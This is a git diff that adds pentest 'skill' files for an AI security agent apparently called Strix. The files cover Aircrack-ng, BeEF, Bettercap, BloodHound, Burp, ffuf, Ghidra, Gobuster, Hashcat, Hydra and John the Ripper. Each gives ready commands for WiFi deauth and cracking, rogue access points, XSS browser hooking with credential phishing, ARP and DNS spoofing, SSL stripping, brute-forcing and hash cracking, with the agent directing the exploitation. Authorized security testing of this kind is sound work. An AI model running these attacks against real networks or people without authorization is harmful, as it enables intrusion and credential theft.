+# Aircrack-ng + +Wireless network security auditing suite for monitoring, attacking, testing, and cracking WiFi networks. Covers WEP, WPA/WPA2-PSK, and WPA Enterprise. + +## When to Request + +- When wireless network security is in scope +- To capture WPA/WPA2 handshakes for offline cracking +- For rogue access point detection +- When testing wireless client isolation and segmentation + +## Operator-Assisted Workflow + +1. Agent determines wireless testing objectives (handshake capture, client deauth, rogue AP) +2. Agent provides Aircrack-ng suite commands (monitor mode, capture, crack) +3. Operator runs wireless attacks with compatible adapter and provides results +4. Agent directs hash cracking (Hashcat mode 22000) and network access exploitation +5. Agent uses network access for further internal assessment + +## Key Commands + +### Enable Monitor Mode +``` +airmon-ng start wlan0 +``` + +### Scan Networks +``` +airodump-ng wlan0mon +``` + +### Target Specific Network +``` +airodump-ng -c CHANNEL --bssid TARGET_BSSID -w capture wlan0mon +``` + +### Deauthentication (Force Handshake) +``` +aireplay-ng -0 5 -a TARGET_BSSID -c CLIENT_MAC wlan0mon +``` + +### Crack WPA Handshake +``` +aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap +``` + +### PMKID Capture (Clientless) +``` +hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng +hcxpcapngtool pmkid.pcapng -o hash.22000 +hashcat -m 22000 hash.22000 rockyou.txt +``` + +### Rogue AP +``` +airbase-ng -e "Free WiFi" -c 6 wlan0mon +``` + +## Output Analysis + +- **Captured handshakes** -- crack with Aircrack-ng or Hashcat (mode 22000) for network PSK +- **PMKID hashes** -- faster capture without client deauth; crack with Hashcat +- **Connected clients** -- identify devices on target network for further targeting +- **Hidden SSIDs** -- revealed through probe request analysis +- **Network PSK cracked** -- full network access; proceed to internal assessment + +## Integration with Strix + +- Cracked WiFi credentials provide network access for internal web application testing +- Network topology discovered via wireless expands Strix's assessment scope +- Client devices on wireless networks become targets for further enumeration +- Wireless segmentation testing validates network architecture security diff --git a/strix/skills/tools/beef.md b/strix/skills/tools/beef.md new file mode 100644 index 000000000..d59bd6cc7 --- /dev/null +++ b/strix/skills/tools/beef.md @@ -0,0 +1,86 @@ +--- +name: beef +description: Operator-assisted BeEF workflows for browser exploitation, XSS hook management, and client-side attack delivery +category: tools +tags: [exploitation, xss, browser, client-side, operator-assisted] +--- + +# BeEF (Browser Exploitation Framework) + +Browser exploitation framework that hooks browsers via XSS and delivers client-side attacks. Use when Strix confirms XSS vulnerabilities and impact needs to be demonstrated beyond alert boxes. + +## When to Request + +- After confirming a stored or reflected XSS vulnerability +- To demonstrate real-world XSS impact (session hijacking, keylogging, phishing) +- For client-side reconnaissance (browser, plugins, internal network) +- When chaining XSS with social engineering + +## Operator-Assisted Workflow + +1. Agent confirms XSS injection point via Strix proxy testing +2. Agent provides the BeEF hook script URL for the operator to inject +3. Operator starts BeEF server and injects hook into the XSS payload +4. Operator reports hooked browsers and available command modules +5. Agent directs which BeEF modules to execute based on assessment objectives + +## Key Commands + +### Start BeEF +``` +beef-xss +# or +cd /usr/share/beef-xss && ./beef +``` + +### Hook Script (inject via XSS) +```html + +``` + +### Useful Command Modules +``` +# Browser fingerprinting +- Get Cookie +- Get System Info +- Detect Software (Java, Flash, etc.) + +# Network discovery +- Get Internal IP (WebRTC) +- Port Scan (internal) +- Ping Sweep + +# Credential harvesting +- Pretty Theft (fake login dialog) +- Simple Hijacker (redirect to phishing) +- Clippy (social engineering) + +# Exploitation +- Redirect Browser +- Man-in-the-Browser +- Tab Nabbing +``` + +### REST API (Automated) +``` +# List hooked browsers +curl http://ATTACKER_IP:3000/api/hooks?token=API_TOKEN + +# Execute module +curl -X POST http://ATTACKER_IP:3000/api/modules/HOOK_ID/MODULE_ID?token=API_TOKEN -H "Content-Type: application/json" -d '{}' +``` + +## Output Analysis + +- **Hooked browsers** -- confirms XSS impact with real browser compromise +- **Internal IPs** -- WebRTC leak reveals internal network topology +- **Credentials captured** -- from fake login dialogs or form grabbers +- **Port scan results** -- internal services reachable from the victim's browser +- **Browser/plugin info** -- identifies client-side attack surface + +## Integration with Strix + +- Strix identifies XSS vulnerabilities; BeEF demonstrates exploitability and impact +- Internal network discovery from hooked browsers expands assessment scope +- Captured credentials feed into authentication testing +- Session tokens captured via BeEF validate session hijacking impact diff --git a/strix/skills/tools/bettercap.md b/strix/skills/tools/bettercap.md new file mode 100644 index 000000000..0ed677545 --- /dev/null +++ b/strix/skills/tools/bettercap.md @@ -0,0 +1,89 @@ +--- +name: bettercap +description: Operator-assisted Bettercap workflows for network MITM attacks, traffic sniffing, and protocol manipulation +category: tools +tags: [network, mitm, sniffing, spoofing, operator-assisted] +--- + +# Bettercap + +Network attack and monitoring framework for MITM, ARP spoofing, DNS spoofing, SSL stripping, and credential sniffing. Swiss army knife for network-level attacks. + +## When to Request + +- When positioned on the same network for MITM attacks +- For ARP spoofing to intercept traffic between hosts +- DNS spoofing to redirect traffic to attacker-controlled servers +- SSL stripping to downgrade HTTPS connections +- Network reconnaissance and host discovery + +## Operator-Assisted Workflow + +1. Agent identifies network topology and MITM objectives +2. Agent provides Bettercap caplets or interactive commands +3. Operator runs Bettercap and reports captured credentials, traffic, and results +4. Agent analyzes intercepted data for credentials, tokens, and sensitive information +5. Agent uses findings for targeted application exploitation + +## Key Commands + +### Network Recon +``` +bettercap -iface INTERFACE +> net.probe on +> net.show +> net.sniff on +``` + +### ARP Spoofing +``` +> set arp.spoof.targets TARGET_IP +> arp.spoof on +> net.sniff on +``` + +### DNS Spoofing +``` +> set dns.spoof.domains target.com,*.target.com +> set dns.spoof.address ATTACKER_IP +> dns.spoof on +``` + +### SSL Stripping (hstshijack caplet) +``` +> set hstshijack.targets target.com +> hstshijack/hstshijack +``` + +### Credential Sniffing +``` +> set net.sniff.verbose true +> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 25" +> net.sniff on +``` + +### Caplet Files +``` +# Save as attack.cap +net.probe on +set arp.spoof.targets TARGET_IP +arp.spoof on +net.sniff on + +# Run with: bettercap -iface INTERFACE -caplet attack.cap +``` + +## Output Analysis + +- **Intercepted credentials** -- HTTP, FTP, SMTP, POP3 cleartext passwords +- **Session cookies** -- session hijacking opportunities for web applications +- **DNS queries** -- reveal internal service names and browsing patterns +- **HTTPS downgrade success** -- indicates missing HSTS or HSTS preload +- **Network topology** -- host discovery reveals all active devices and services + +## Integration with Strix + +- Intercepted credentials and cookies feed into authenticated Strix testing +- DNS spoofing can redirect targets to Strix-monitored infrastructure +- Network topology discovery expands the scope for service enumeration +- SSL stripping findings document transport security weaknesses diff --git a/strix/skills/tools/bloodhound.md b/strix/skills/tools/bloodhound.md new file mode 100644 index 000000000..9095bca58 --- /dev/null +++ b/strix/skills/tools/bloodhound.md @@ -0,0 +1,87 @@ +--- +name: bloodhound +description: Operator-assisted BloodHound workflows for Active Directory attack path analysis and privilege escalation mapping +category: tools +tags: [active-directory, enumeration, privilege-escalation, operator-assisted] +--- + +# BloodHound + +Active Directory attack path visualization and analysis tool. Maps relationships between AD objects to identify privilege escalation paths, Kerberos delegation abuse, and shortest paths to domain admin. + +## When to Request + +- When assessing Active Directory environments for privilege escalation +- After obtaining any level of AD credentials (even low-privilege) +- To map attack paths from compromised accounts to high-value targets +- For identifying Kerberos delegation, ACL abuse, and group membership chains + +## Operator-Assisted Workflow + +1. Agent identifies AD environment and available credentials +2. Agent provides SharpHound/BloodHound.py collection commands +3. Operator runs collector and imports data into BloodHound +4. Operator queries for specific attack paths and shares results +5. Agent directs exploitation of identified attack paths + +## Key Commands + +### Data Collection (SharpHound) +``` +# From Windows +SharpHound.exe -c All -d DOMAIN --zipfilename bloodhound.zip + +# Specific collection methods +SharpHound.exe -c DCOnly,ACL,Group,Session,LoggedOn,Trusts +``` + +### Data Collection (BloodHound.py) +``` +# From Linux +bloodhound-python -d DOMAIN -u USER -p PASSWORD -c All -ns DC_IP --zip + +# Specific collection +bloodhound-python -d DOMAIN -u USER -p PASSWORD -c Group,ACL,Session -ns DC_IP +``` + +### Key Cypher Queries +``` +# Shortest path to Domain Admin +MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p + +# Kerberoastable users with admin paths +MATCH (u:User {hasspn:true})-[*1..5]->(g:Group {admincount:true}) RETURN u.name + +# Users with DCSync rights +MATCH (u)-[:MemberOf|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u.name + +# Unconstrained delegation computers +MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name +``` + +### Pre-Built Analysis +``` +- Find all Domain Admins +- Find Shortest Paths to Domain Admins +- Find Principals with DCSync Rights +- Find Computers with Unconstrained Delegation +- Find Kerberoastable Users with Most Privileges +- Find ASREPRoastable Users +- Find Shortest Paths to High Value Targets +``` + +## Output Analysis + +- **Attack paths** -- step-by-step privilege escalation chains from current access to Domain Admin +- **Kerberoastable accounts** -- extract and crack service ticket hashes +- **ACL abuse** -- GenericAll, GenericWrite, WriteDACL, ForceChangePassword on high-value targets +- **Delegation abuse** -- unconstrained, constrained, resource-based constrained delegation +- **Group membership chains** -- nested group memberships providing unintended access +- **Session data** -- where admins are logged in; target for credential theft + +## Integration with Strix + +- Attack paths guide Strix's operator-assisted exploitation order +- Kerberoastable accounts feed hashes to Hashcat for cracking +- Discovered web applications on AD-joined servers expand Strix's web testing scope +- Credential chains from AD inform authentication testing across all services diff --git a/strix/skills/tools/burp_suite.md b/strix/skills/tools/burp_suite.md new file mode 100644 index 000000000..b00031563 --- /dev/null +++ b/strix/skills/tools/burp_suite.md @@ -0,0 +1,84 @@ +--- +name: burp-suite +description: Operator-assisted Burp Suite workflows for intercepting proxy analysis, active scanning, and manual web application testing +category: tools +tags: [proxy, web, scanning, operator-assisted] +--- + +# Burp Suite + +Web application security testing proxy with interception, scanning, and manual testing tools. Use alongside Strix's Caido proxy when Burp-specific features are needed (active scanner, Intruder, Collaborator). + +## When to Request + +- When Burp's active scanner is needed for comprehensive automated vulnerability detection +- For Intruder attacks (credential stuffing, parameter fuzzing, race conditions) +- When Collaborator payloads are needed for out-of-band vulnerability detection (blind SSRF, XXE, SQLi) +- To capture and replay complex multi-step authentication flows + +## Operator-Assisted Workflow + +1. Agent identifies targets requiring Burp-specific testing capabilities +2. Agent specifies what to test: active scan scope, Intruder positions, Collaborator payloads +3. Operator configures Burp, runs scans/attacks, and reports findings +4. Agent analyzes results and directs follow-up exploitation +5. Agent incorporates Burp findings into the overall assessment via Strix reporting + +## Key Workflows + +### Active Scanning +``` +1. Configure scope in Target > Scope +2. Crawl the application via embedded browser +3. Right-click > Scan from site map or specific requests +4. Review Scanner > Issue activity for findings +5. Export results as XML or HTML report +``` + +### Intruder Attack +``` +1. Send request to Intruder (Ctrl+I) +2. Mark payload positions with section signs +3. Select attack type: Sniper, Battering Ram, Pitchfork, Cluster Bomb +4. Load payload list +5. Start attack and analyze results by status code, length, response time +``` + +### Collaborator (Out-of-Band) +``` +1. Generate Collaborator payload: burpcollaborator.net subdomain +2. Inject into SSRF, XXE, SQLi, email header, DNS parameters +3. Monitor Collaborator for HTTP, DNS, SMTP callbacks +4. Confirm blind vulnerabilities via out-of-band interaction +``` + +### Repeater Testing +``` +1. Send request to Repeater (Ctrl+R) +2. Modify parameters, headers, methods manually +3. Compare responses side-by-side +4. Iterate on injection payloads +``` + +### Extensions +``` +- Autorize: automated authorization testing +- Logger++: advanced request logging +- Turbo Intruder: high-speed fuzzing with Python scripting +- JWT Editor: JWT manipulation and attack +- Param Miner: hidden parameter discovery +``` + +## Output Analysis + +- **Active scan findings** -- severity-ranked vulnerabilities with request/response evidence +- **Intruder results** -- sort by response length/status to identify anomalies; different length = different behavior +- **Collaborator interactions** -- type (HTTP/DNS/SMTP), timing, and payload that triggered it +- **Repeater responses** -- manual comparison for injection confirmation + +## Integration with Strix + +- Strix identifies targets and attack vectors; Burp provides deep automated scanning +- Collaborator findings confirm blind vulnerabilities that Strix's proxy cannot detect +- Intruder results for credential testing complement Strix's authentication analysis +- Burp scan reports feed into Strix's vulnerability documentation diff --git a/strix/skills/tools/ffuf.md b/strix/skills/tools/ffuf.md new file mode 100644 index 000000000..304f515a0 --- /dev/null +++ b/strix/skills/tools/ffuf.md @@ -0,0 +1,87 @@ +--- +name: ffuf +description: Operator-assisted FFUF workflows for web fuzzing including directory discovery, parameter mining, and virtual host enumeration +category: tools +tags: [fuzzing, enumeration, recon, operator-assisted] +--- + +# FFUF + +Fast web fuzzer for content discovery, parameter brute-forcing, header fuzzing, and virtual host enumeration. More flexible than Gobuster with multi-position fuzzing and advanced filtering. + +## When to Request + +- When flexible fuzzing positions are needed (URL, headers, POST body, cookies) +- Parameter discovery on API endpoints +- Subdomain and vhost enumeration with response filtering +- When response-based filtering is needed (size, words, lines, regex) + +## Operator-Assisted Workflow + +1. Agent identifies fuzzing targets and positions from application analysis +2. Agent crafts FFUF command with appropriate wordlist, position, and filters +3. Operator runs FFUF and provides output (prefer `-of json`) +4. Agent analyzes results, filtering false positives by response characteristics +5. Agent directs follow-up testing on discovered endpoints/parameters + +## Key Commands + +### Directory Discovery +``` +ffuf -u https://TARGET/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -of json -o ffuf_dir.json +``` + +### Parameter Discovery (GET) +``` +ffuf -u "https://TARGET/api/endpoint?FUZZ=test" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all -fc 404 -of json -o params.json +``` + +### Parameter Discovery (POST) +``` +ffuf -u https://TARGET/api/endpoint -X POST -d '{"FUZZ":"test"}' -H "Content-Type: application/json" -w params_wordlist.txt -mc all -fc 400 -of json -o post_params.json +``` + +### Subdomain Enumeration +``` +ffuf -u https://FUZZ.target.com -w subdomains.txt -mc 200 -fs 0 -of json -o subdomains.json +``` + +### Virtual Host Discovery +``` +ffuf -u https://TARGET -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs SIZE_OF_DEFAULT -of json -o vhosts.json +``` + +### Multi-Position Fuzzing +``` +ffuf -u https://TARGET/FUZZ1/FUZZ2 -w endpoints.txt:FUZZ1 -w ids.txt:FUZZ2 -mc 200 -of json -o multi.json +``` + +### Header Fuzzing +``` +ffuf -u https://TARGET/admin -H "X-Custom-Header: FUZZ" -w values.txt -mc 200 -of json -o headers.json +``` + +## Filtering Options + +- **`-mc`** -- match HTTP status codes (e.g., `-mc 200,301`) +- **`-fc`** -- filter (exclude) status codes (e.g., `-fc 404,403`) +- **`-fs`** -- filter by response size (exclude baseline size) +- **`-fw`** -- filter by word count +- **`-fl`** -- filter by line count +- **`-fr`** -- filter by regex pattern in response +- **`-ft`** -- filter by response time + +## Output Analysis + +- **Unique response sizes** -- different sizes from baseline indicate real content +- **Status code patterns** -- 200s are hits; 302 to login reveals auth-required paths; 500s suggest bugs +- **Discovered parameters** -- hidden params may bypass client-side restrictions or enable debug modes +- **Timing anomalies** -- slow responses may indicate backend processing worth investigating +- **Virtual hosts** -- different response from default host indicates distinct application + +## Integration with Strix + +- Discovered endpoints and parameters feed into targeted vulnerability testing via proxy +- Hidden parameters on API endpoints inform injection and access control testing +- Virtual hosts discovered expand the scope for Strix assessments +- Parameter names found here help craft targeted payloads for SQLi, XSS, IDOR testing diff --git a/strix/skills/tools/ghidra.md b/strix/skills/tools/ghidra.md new file mode 100644 index 000000000..2dd2b39df --- /dev/null +++ b/strix/skills/tools/ghidra.md @@ -0,0 +1,88 @@ +--- +name: ghidra +description: Operator-assisted Ghidra workflows for binary reverse engineering, vulnerability discovery, and firmware analysis +category: tools +tags: [reverse-engineering, binary-analysis, firmware, operator-assisted] +--- + +# Ghidra + +NSA's open-source reverse engineering framework for binary analysis, decompilation, and vulnerability research. Use when analyzing compiled binaries, firmware, or thick clients for security flaws. + +## When to Request + +- When analyzing compiled binaries (executables, libraries, firmware) for vulnerabilities +- For reverse engineering thick client applications +- To understand custom protocols or encryption implementations +- When analyzing malware or suspicious binaries found during assessment +- For firmware extraction and analysis of IoT devices + +## Operator-Assisted Workflow + +1. Agent identifies binaries needing analysis (from target app, firmware, thick client) +2. Agent specifies analysis objectives (find auth bypass, crypto flaws, hardcoded secrets) +3. Operator loads binary in Ghidra, runs auto-analysis, and investigates specified areas +4. Operator reports decompiled functions, strings, and identified vulnerabilities +5. Agent uses findings to craft targeted exploits or inform further testing + +## Key Workflows + +### Initial Analysis +``` +1. Create new project and import binary +2. Run auto-analysis (all analyzers) +3. Review Defined Strings window for hardcoded secrets, URLs, keys +4. Check Symbol Tree for imported functions (crypto, network, auth) +5. Review Function Call Graph for critical paths +``` + +### Vulnerability Hunting +``` +# Search for dangerous functions +- strcpy, strcat, sprintf, gets (buffer overflow) +- system, exec, popen (command injection) +- memcpy with user-controlled size (heap overflow) + +# Search for crypto +- AES, DES, RSA key references +- Hardcoded keys/IVs in .data/.rodata sections + +# Search for auth +- strcmp for password comparison (timing attack) +- Hardcoded credentials in strings +``` + +### Scripting (Ghidra Python) +```python +# Find all calls to dangerous functions +from ghidra.program.model.symbol import SourceType +fm = currentProgram.getFunctionManager() +for func in fm.getFunctions(True): + if func.getName() in ["strcpy", "sprintf", "system"]: + refs = getReferencesTo(func.getEntryPoint()) + for ref in refs: + print(f"{ref.getFromAddress()} calls {func.getName()}") +``` + +## Analysis Targets + +- **Hardcoded credentials** -- API keys, passwords, encryption keys in string tables +- **Buffer overflows** -- unsafe string/memory operations with user input +- **Authentication bypass** -- client-side auth checks that can be patched or bypassed +- **Custom protocols** -- reverse engineer wire format for fuzzing and injection +- **Crypto weaknesses** -- weak algorithms, hardcoded keys, ECB mode usage + +## Output Analysis + +- **Decompiled code** -- understand application logic without source +- **String references** -- hardcoded URLs, keys, credentials, debug messages +- **Function signatures** -- identify security-relevant API usage patterns +- **Control flow** -- authentication and authorization decision points +- **Binary patches** -- identify where checks can be bypassed + +## Integration with Strix + +- Hardcoded credentials discovered feed into authentication testing +- Reverse-engineered APIs inform Strix's web/API testing approach +- Custom protocol understanding enables targeted fuzzing +- Identified vulnerabilities in binaries complement web-layer findings diff --git a/strix/skills/tools/gobuster.md b/strix/skills/tools/gobuster.md new file mode 100644 index 000000000..472aa033a --- /dev/null +++ b/strix/skills/tools/gobuster.md @@ -0,0 +1,85 @@ +--- +name: gobuster +description: Operator-assisted Gobuster workflows for directory brute-forcing, DNS subdomain enumeration, and vhost discovery +category: tools +tags: [recon, enumeration, brute-force, operator-assisted] +--- + +# Gobuster + +Fast directory/file, DNS subdomain, and virtual host brute-forcer written in Go. Use when Strix's built-in crawling misses hidden paths, subdomains, or virtual hosts. + +## When to Request + +- After initial crawling to discover paths not linked in the application +- For subdomain enumeration alongside DNS recon +- To find hidden API endpoints, admin panels, backup files +- Virtual host discovery on shared hosting + +## Operator-Assisted Workflow + +1. Agent identifies target domains and web servers from recon +2. Agent specifies mode (dir/dns/vhost), wordlist, and extensions based on technology stack +3. Operator runs Gobuster and provides output +4. Agent analyzes discovered paths, subdomains, or vhosts +5. Agent prioritizes findings for further testing (admin panels, API routes, dev environments) + +## Key Commands + +### Directory Brute-Force +``` +gobuster dir -u https://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,html,js,json -t 50 -o gobuster_dir.txt +``` + +### With Authentication Cookie +``` +gobuster dir -u https://TARGET -w wordlist.txt -c "session=TOKEN" -H "Authorization: Bearer TOKEN" -o output.txt +``` + +### DNS Subdomain Enumeration +``` +gobuster dns -d TARGET_DOMAIN -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 -o gobuster_dns.txt +``` + +### Virtual Host Discovery +``` +gobuster vhost -u https://TARGET -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 50 -o gobuster_vhost.txt +``` + +### API Endpoint Discovery +``` +gobuster dir -u https://TARGET/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 50 -o api_endpoints.txt +``` + +### Status Code Filtering +``` +# Hide 404s, show everything else +gobuster dir -u https://TARGET -w wordlist.txt -b 404,403 -o output.txt + +# Only show specific codes +gobuster dir -u https://TARGET -w wordlist.txt -s 200,301,302 -o output.txt +``` + +## Wordlist Selection + +- **General**: `dirb/common.txt`, `dirbuster/directory-list-2.3-medium.txt` +- **Technology-specific**: `seclists/Discovery/Web-Content/` (raft, IIS, Apache, Tomcat, etc.) +- **API**: `seclists/Discovery/Web-Content/api/` endpoints and objects +- **DNS**: `seclists/Discovery/DNS/subdomains-top1million-*.txt` +- **Backup/sensitive**: `seclists/Discovery/Web-Content/common-and-sensitive.txt` + +## Output Analysis + +- **200 responses** -- accessible content; prioritize admin panels, config files, API docs +- **301/302 redirects** -- follow to find actual content location; auth redirects reveal protected paths +- **403 Forbidden** -- exists but restricted; try bypass techniques (path traversal, method switching, header manipulation) +- **500 errors** -- server errors may indicate injectable parameters or debug information +- **New subdomains** -- expand attack surface; scan each for services +- **Virtual hosts** -- may expose dev/staging environments with weaker security + +## Integration with Strix + +- Discovered paths feed directly into Strix proxy scope for application testing +- New subdomains trigger additional Nmap scans and web assessments +- Admin panels and API docs discovered here inform targeted agent creation +- 403 paths become targets for access control bypass testing diff --git a/strix/skills/tools/hashcat.md b/strix/skills/tools/hashcat.md new file mode 100644 index 000000000..da9126b4e --- /dev/null +++ b/strix/skills/tools/hashcat.md @@ -0,0 +1,96 @@ +--- +name: hashcat +description: Operator-assisted Hashcat workflows for GPU-accelerated offline password cracking with advanced attack modes +category: tools +tags: [password, cracking, gpu, credentials, operator-assisted] +--- + +# Hashcat + +GPU-accelerated password cracker. Faster than John the Ripper for large hash sets. Supports 350+ hash types, multiple attack modes (dictionary, combinator, mask, hybrid), and rule engines. + +## When to Request + +- When large numbers of hashes need cracking (GPU speed advantage) +- For targeted mask attacks when password policy is known (length, charset) +- When advanced attack modes are needed (combinator, hybrid, prince) +- After John fails to crack remaining hashes; Hashcat's GPU may succeed with different approaches + +## Operator-Assisted Workflow + +1. Agent provides hashes and identifies the hash type (mode number) +2. Agent specifies attack mode and parameters based on known password policy +3. Operator runs Hashcat with GPU and reports results +4. Operator reports cracked passwords and session status +5. Agent uses credentials for further exploitation and credential reuse testing + +## Key Commands + +### Dictionary Attack +``` +hashcat -m MODE -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt +``` + +### With Rules +``` +hashcat -m MODE -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt +``` + +### Mask Attack (Brute Force with Pattern) +``` +# 8-char lowercase+digit +hashcat -m MODE -a 3 hashes.txt ?l?l?l?l?l?l?d?d -o cracked.txt + +# Custom charset +hashcat -m MODE -a 3 hashes.txt -1 ?l?u?d ?1?1?1?1?1?1?1?1 -o cracked.txt +``` + +### Combinator Attack +``` +hashcat -m MODE -a 1 hashes.txt wordlist1.txt wordlist2.txt -o cracked.txt +``` + +### Hybrid (Wordlist + Mask) +``` +hashcat -m MODE -a 6 hashes.txt rockyou.txt ?d?d?d -o cracked.txt +hashcat -m MODE -a 7 hashes.txt ?d?d?d rockyou.txt -o cracked.txt +``` + +### Common Hash Modes +``` +-m 0 MD5 +-m 100 SHA1 +-m 1000 NTLM +-m 1800 sha512crypt (Linux) +-m 3200 bcrypt +-m 5600 NetNTLMv2 +-m 13100 Kerberos TGS-REP (Kerberoasting) +-m 18200 Kerberos AS-REP (ASREPRoasting) +-m 22000 WPA-PBKDF2-PMKID+EAPOL +``` + +### Session Management +``` +hashcat --session=mycrack -m MODE -a 0 hashes.txt wordlist.txt +hashcat --session=mycrack --restore +hashcat --session=mycrack --show +``` + +## Mask Charsets + +- `?l` lowercase, `?u` uppercase, `?d` digit, `?s` special, `?a` all, `?b` binary +- Custom: `-1 ?l?d` then use `?1` in mask + +## Output Analysis + +- **Cracked passwords** -- immediate credential reuse testing across all services +- **Cracking speed** -- if too slow, the hash type may be strong (bcrypt, argon2); note for reporting +- **Exhausted keyspace** -- password not in wordlist or mask range; try different attack strategy +- **Partial results** -- weak passwords crack first; adjust rules/masks for remaining + +## Integration with Strix + +- Hashes from Strix exploitation feed into Hashcat for GPU-accelerated cracking +- Cracked credentials enable authenticated application testing +- Password policy assessment based on cracking difficulty informs security recommendations +- NetNTLM and Kerberos hashes from AD testing feed directly into Hashcat diff --git a/strix/skills/tools/hydra.md b/strix/skills/tools/hydra.md new file mode 100644 index 000000000..3d4fc20a7 --- /dev/null +++ b/strix/skills/tools/hydra.md @@ -0,0 +1,86 @@ +--- +name: hydra +description: Operator-assisted Hydra workflows for online credential brute-forcing against network services and web forms +category: tools +tags: [brute-force, credentials, authentication, operator-assisted] +--- + +# Hydra + +Fast online password brute-forcer supporting 50+ protocols including HTTP, SSH, FTP, SMB, RDP, databases, and web forms. Use for credential testing when usernames are known. + +## When to Request + +- After discovering valid usernames (from enumeration, OSINT, or application responses) +- Against login forms, SSH, FTP, RDP, database services, and admin panels +- When testing default credentials at scale +- After credential leaks to test password reuse across services + +## Operator-Assisted Workflow + +1. Agent identifies target service, discovered usernames, and authentication endpoint +2. Agent provides Hydra command with protocol, target, user/pass lists, and form parameters +3. Operator runs Hydra and reports successful credentials +4. Agent uses valid credentials to authenticate and continue assessment +5. Agent tests discovered credentials against all other services (credential reuse) + +## Key Commands + +### SSH +``` +hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://TARGET -t 4 -o hydra_ssh.txt +``` + +### HTTP POST Form +``` +hydra -l admin -P passwords.txt TARGET http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -o hydra_web.txt +``` + +### HTTP Basic Auth +``` +hydra -l admin -P passwords.txt TARGET http-get /admin -o hydra_basic.txt +``` + +### FTP +``` +hydra -L users.txt -P passwords.txt ftp://TARGET -t 10 -o hydra_ftp.txt +``` + +### SMB +``` +hydra -L users.txt -P passwords.txt smb://TARGET -o hydra_smb.txt +``` + +### RDP +``` +hydra -l administrator -P passwords.txt rdp://TARGET -t 1 -o hydra_rdp.txt +``` + +### MySQL +``` +hydra -l root -P passwords.txt mysql://TARGET -o hydra_mysql.txt +``` + +### Multiple Targets +``` +hydra -L users.txt -P passwords.txt -M targets.txt ssh -t 4 -o hydra_multi.txt +``` + +### Credential Stuffing (User:Pass Combos) +``` +hydra -C creds.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=failed" -o hydra_stuffing.txt +``` + +## Output Analysis + +- **Valid credentials** -- immediate win; authenticate and test for privilege levels +- **Account lockout triggered** -- note lockout policy; adjust timing or switch to credential stuffing +- **Rate limiting detected** -- reduce threads, add delays; consider distributed approach +- **Partial success** -- some accounts valid; test credential reuse on other services + +## Integration with Strix + +- Agent provides discovered usernames from web app enumeration for Hydra targeting +- Valid credentials feed into Strix proxy for authenticated application testing +- Credential reuse findings expand access across services discovered in recon +- Successful authentication informs privilege escalation testing within the application diff --git a/strix/skills/tools/john_the_ripper.md b/strix/skills/tools/john_the_ripper.md new file mode 100644 index 000000000..2ffd8ca17 --- /dev/null +++ b/strix/skills/tools/john_the_ripper.md @@ -0,0 +1,92 @@ +--- +name: john-the-ripper +description: Operator-assisted John the Ripper workflows for offline password cracking with wordlists, rules, and format detection +category: tools +tags: [password, cracking, credentials, operator-assisted] +--- + +# John the Ripper + +Offline password cracker supporting hundreds of hash formats with wordlist, incremental, and rule-based attacks. Use when password hashes are obtained from database dumps, config files, or network captures. + +## When to Request + +- After extracting password hashes from databases (SQLi, backup files) +- When /etc/shadow or SAM/NTDS.dit hashes are obtained +- For cracking hashes found in config files, application databases, or network captures +- To test password policy strength with rule-based attacks + +## Operator-Assisted Workflow + +1. Agent obtains hashes via exploitation (SQLi, file read, credential dump) +2. Agent identifies hash format and provides John command with appropriate settings +3. Operator runs John with specified wordlist and rules +4. Operator reports cracked passwords +5. Agent tests cracked credentials against all services (credential reuse) + +## Key Commands + +### Auto-Detect and Crack +``` +john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt +``` + +### Specify Format +``` +john --format=raw-md5 --wordlist=rockyou.txt hashes.txt +john --format=bcrypt --wordlist=rockyou.txt hashes.txt +john --format=NT --wordlist=rockyou.txt hashes.txt +john --format=sha512crypt --wordlist=rockyou.txt hashes.txt +``` + +### With Rules +``` +john --wordlist=rockyou.txt --rules=best64 hashes.txt +john --wordlist=rockyou.txt --rules=jumbo hashes.txt +``` + +### Show Cracked Passwords +``` +john --show hashes.txt +john --show --format=raw-md5 hashes.txt +``` + +### Hash Extraction Tools +``` +# Linux shadow +unshadow /etc/passwd /etc/shadow > unshadowed.txt + +# SSH keys +ssh2john id_rsa > ssh_hash.txt + +# ZIP files +zip2john protected.zip > zip_hash.txt + +# Office documents +office2john document.docx > office_hash.txt + +# KeePass +keepass2john database.kdbx > keepass_hash.txt + +# PDF +pdf2john protected.pdf > pdf_hash.txt +``` + +### Incremental (Brute Force) +``` +john --incremental --max-length=8 hashes.txt +``` + +## Output Analysis + +- **Cracked passwords** -- test against all services; note password patterns for custom wordlists +- **Partial cracks** -- weak passwords crack first; remaining may need longer runs or better wordlists +- **Password patterns** -- inform custom rule creation for remaining hashes +- **Hash format** -- confirms the hashing algorithm; assess strength (MD5 weak, bcrypt strong) + +## Integration with Strix + +- Hashes obtained through Strix exploitation (SQLi, file read) feed directly into John +- Cracked passwords enable authenticated testing across all discovered services +- Password pattern analysis informs brute-force strategy for online attacks (Hydra) +- Hash format analysis contributes to security assessment of password storage practices diff --git a/strix/skills/tools/maltego.md b/strix/skills/tools/maltego.md new file mode 100644 index 000000000..d2c616203 --- /dev/null +++ b/strix/skills/tools/maltego.md @@ -0,0 +1,77 @@ +--- +name: maltego +description: Operator-assisted Maltego workflows for OSINT visualization, relationship mapping, and attack surface discovery +category: tools +tags: [osint, recon, visualization, 